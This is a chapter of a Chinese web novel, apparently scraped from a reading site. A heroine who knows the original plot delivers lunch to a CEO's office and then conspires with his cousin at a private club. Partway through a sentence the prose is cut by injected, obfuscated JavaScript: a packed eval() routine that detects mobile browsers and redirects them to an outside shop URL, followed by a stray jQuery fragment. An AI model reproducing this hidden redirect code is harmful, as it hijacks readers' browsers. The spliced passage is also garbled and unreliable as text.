叶以秦回去后一通乱睡,这一晚的睡眠质量出奇得好。
六点闹钟一响,她就爬起来,迷迷瞪瞪地去洗漱。
镜子里的女生有一头怎么睡都不会乱的长直发,被主人毫不怜惜地抓起用夹子固定住,然后那张清丽的脸仰起,打了个大大的哈欠。
仔细一看,眼睛底下还有圈淡淡的青色。
不单纯是睡眠不足导致,还有睡眠质量太差的原因。
有时候叶以秦觉得自己很忙,但又不知道在忙什么,在某些时刻,大概是那种独处漆黑暗室看着窗外灯火辉煌的时刻,又或者是适合听歌emo的深夜时刻,她甚至偶尔闪过迷茫,不知道自己做这些事的意义。
但大概她和那种忧郁的基调天生不符,很快就能把那些反常的、幽微的小念头抛之脑后。
斩断和叶家的关系后,就像是解决了身体里的一部分沉疴,叶以秦整个人都轻快了许多,连早上去涂家,看到平板上的菜单都不像以前那样随手扔开了。
“板板今天走运了,没被摔,不用去整容了。”何厨笑呵呵地调侃。
叶以秦:“……”
就一平板,不至于。
几个月了,她也才摔坏过两次屏幕而已,甚至都没真正要了它的命,多仁慈啊。
叶以秦看菜单,霸总早上要吃西式早餐。
西式好啊,简单快速,她还害怕他心血来潮要吃饺子呢。
做完早餐,叶以秦准备去学校,何厨递过来一个食盒:“早上做了生煎包,带上吃点吧,里面还有水煮蛋。”
叶以秦接过来:“谢谢何厨,这个我喜欢。”
“中午呢,有要吃的不?”何厨问。
叶以秦也不客气:“红烧鲫鱼,爆炒蛤蜊,冬瓜丸子汤。”
何厨笑了笑:“胃口倒是蛮好的嘛。”
叶以秦笑笑,那是,这员工福利,她不吃白不吃。
上午上了满满四节课,上得人头都晕了,叶以秦赶场似的,放学了就往校门走,坐上司机的车。
每周那么几天她课程安排靠后的时候,涂屹的饭点也要跟着往后挪个半小时到一小时,不过今天中午,这个时间挪得有点久了。
时间快要走到两点,涂屹都没回来,这种情况通常是临时加班,管家习以为常,没什么反应,只是把饭菜保温。
今天叶以秦倒是没有做完饭就走,她有点兴奋,这个点,上午的招标会应该已经结束了,涂屹他们大概回到集团,在开会吧。
没一会儿,管家过来打包饭菜,应该是接到消息了,准备叫人送过去。
叶以秦自告奋勇,说能顺路去送。
管家狐疑地上下打量她一眼:“你想搞什么鬼?”
真冒犯,怎么能事先预设她是坏心眼呢!
她只是有点想看看涂屹是个什么脸色而已,毕竟招标会注定会失败。
叶以秦想说点好话瞎话那是手到擒来,她顺利地争取到了机会。
半小时后,她来到涂源大厦,这里占地极广,建筑极恢弘,进去是宽广的大厅,她脚下不停,直奔电梯。
“等一下,这位小姐!请问您是要找谁吗?”前台小姐姐连忙小跑过来询问,也是一种变相的阻拦。
叶以秦这是明显的生人面孔,而且她还一身灰色短袖加帆布鞋,朴素到让人一看就知道她还是个学生,更何况此刻她手上还拎着两个大食盒,一看就和这里格格不入。
前台狐疑地观察她,涂源有好几个食堂,什么吃的都有,平时根本没见着有人来送饭,最多的无非是叫个下午茶。
“您是外来人员对吧?麻烦请先在前台登记。”
叶以秦:“我来给涂屹涂总送饭。”
前台的脸色有些变了,看起来像是下一秒就要叫保安来把她这个骗子叉出去。
叶以秦掏出手机:“稍等,我给他打个电话。”
前台一脸一言难尽的表情,静静看她吹。
没打通。
叶以秦淡定地挂了电话,前台已经忍不住了:“这位小姐……”
叶以秦:“等等,他可能在忙,我打他助理。”
这回接了。
过了会儿,陈合风风火火走下来,叶以秦从他脸上看到了一丝端倪。
“涂总今天这么晚了才吃呀?”
“忙工作嘛。”陈合说着,两条眉毛继续拧着没松开。
叶以秦笑了笑,对着他拎饭盒的背影拍了张照,发给涂之南。
「来你们公司送饭.jpg」
「没有我的。」
「我还以为你要吃不下饭了。」
「哈哈,怎么会,我现在胃口好得不行。」
「招标不是黄了?」
「是的,没胃口的另有其人。」
「那开完会有空?」
「你有事?晚上松风等我。」
「OK。」
和涂之南约好,叶以秦这才走出大厦,外头阳光正烈,仰头望向高耸大楼,玻璃幕墙折射日光,灿灿刺眼,正如它的所属者一样声势烜赫,似永远这般庞大不可动摇。
回到学校,下午上课时,叶以秦听到一个八卦,说是贺骏请了一个月长假,很突然,谁也不知道具体情况,群里在各种猜测,有人说他飙车出事故了,有人说他有钱任性,请假出去玩,最后一群人歪了楼,羡慕上了,吐槽这个b学真是上够了。
叶以秦在想,贺骏该不会是被家里人打到下不了床了吧?
一个天天吃喝玩乐、不学无术的二代,给点钱在外面随便玩玩就算了,但要是真惹出了事,特别是牵扯到他那个表哥,别说当事人了,估计他亲爹都饶不了他。
这样也好,贺骏这段时间估计作不了妖,省得来烦人。
两节课上完,外边天还亮着,叶以秦不紧不慢地穿过学生街,买了根烤肠,等到坐上车时,肠已经吃完了,味道却还带了一点,强势地闯入车内。
司机的鼻子里一瞬间都是烤肠味,叶以秦却觉被冷香覆盖,舒服地靠在真皮椅上。
车窗被打开了,傍晚的风干燥而温暖,呼呼往里钻。
“要入夏了。”叶以秦喃喃道。
饭时涂屹还是没回来,叶以秦做完了自己该做的就走了,她要赶场去松风,叫了车,坐上车驶出两旁都是枫树的路口时,涂屹的车从另一个方向驶来。
叶以秦注意到那辆豪车,车窗漆黑,看不见里面的人。
——
松风会所的门脸建得十分堂皇富丽,还未进去时,能看到屋檐上方撑开了一顶巨大繁茂的榕树树冠,像一座小小的绿色山峦,郁郁葱葱,视觉效果强烈。
身为老板,涂之南当然有属于自己的特殊空间,他这还不能说是一房间,而是一座小小的中式院落,虽然只有两层楼,院子也不大,但精致得吓人,假山水池银杏树,别饶风致。
叶以秦两次来松风,第一次踏进涂之南的安乐窝,首先感觉就是嫉妒,玛德,有钱人就是这么牛逼,太气人了。
进去时,涂之南已经在等她了,屋子里的陈设倒没有那么古气,桌上还接地气地摆了好些甜点零食,想也知道那是为谁准备的。
叶以秦坐下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282600|196722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,舀了勺蛋糕,酸言酸语地赞美这个地方多么的优雅美丽高大上。
涂之南从头笑到尾,中途还给她倒了杯茶。
“你要喜欢这里,以后随时可以来。”他笑着说,“先前那张黑卡你也拿着吧。”
“无功不受禄,还是还给你吧。”叶以秦掏出黑卡,放在桌上推过去。
涂之南挑眉:“怎么会无功,你这功劳不是很大吗?我那堂哥都不知道的事你却精准猜中了。”
叶以秦开玩笑道:“区区超能力而已,不值一提。”
涂之南看着她的目光温和,却也闪着狐疑。
但叶以秦是注定没法告诉他真相了,总不能说你们的世界脱胎于小说,走向已经被她知晓了吧?
从第一次见到涂之南起,叶以秦就把他放上心了。
原著里,涂屹的商业对手明面上有裴璟,暗地里有涂之南。都是涂家人,不可能对那个位置和权力没有野心,何况他们年岁相差不大,而且涂之南也相当优秀。
当然,主角定律,涂屹可以遭受各种挑战甚至是失败,但胜利的果实必定属于他,不管是裴璟还是涂之南,终究是他的手下败将。
然而叶以秦已经验证,发展的轨迹可以改变,她相信蝴蝶的翅膀能掀起巨浪,否则如果一切注定不可更改,她就没有挣扎的意义。
招标会只是一个小尝试,这里确实藏着大坑,是裴璟设下的圈套。
桧江区面上是所有人都看好的投资地,实际地下有大量化学物质残留,藏着严重的污染问题。裴璟和相关人员串通勾结,隐瞒重要信息,表面上和涂屹争夺,到关键时刻,他自然会让涂屹中标。而之后项目暴雷,政府必然出面停止开发,到时候,几十亿的投资打水漂,涂氏将遭受史无前例的大危机。
想象很丰满,实际却有主角光环。按照原来的轨迹,涂屹将在招标会上的最后一刻察觉他们的全部诡计,惊险地力挽狂澜,以一个超低价流拍,反将裴璟一军。
而现在,叶以秦也来插一脚。
她很早就把这件事告诉了涂之南,于是涂之南几次反对招标计划,涂屹性格里有自大的一面,根本没理睬他的建议。
今天的招标会和原著中描写的一样,同样是涂屹临危之际扭转乾坤,但因为有涂之南的警告在先,功劳反而全被他揽去了。
回去公司开大会,几个股东心有余悸,个个都在夸涂之南目光如炬、审时度势,虽然当初涂之南反对时愣是没给出清晰的反对理由。
当初叶以秦找上涂之南时,想过顺势设计让涂屹吃大亏,涂之南直接上位。
那时涂之南幽幽地看着她,说:“你是想搞涂屹还是搞涂氏,我要的是一个全盛的商业帝国,不是腰斩一半的涂氏。”
揽点小功劳,受到更多股东的认可,增加话语权,对他来说已经是在这件事里能得到的最大好处了,毕竟这事没有太大的操作空间,算起来是他小胜,重要的是一点也不费劲。
而这次招标会也证实了叶以秦所说的话,她有信息源,以及真心想要扳倒涂屹。到这里,涂之南从最初接受她的靠近,只是趣味地想看她到底要做什么,到现在才终于有点认可她了,会试着把她纳入己方阵营。
涂之南最好奇的,是她一个普通人哪里知道的那些连涂屹和他都不知道的消息,但叶以秦不说,抛了个钩子,说以后会告诉他。
涂之南便笑了笑,没再追问,又换了个问题:“我堂兄长相一等,财富不用说,现在也是单身,这种优秀到没地找的男人你居然不想着留在他身边,反而要和他对着干,我实在不明白。”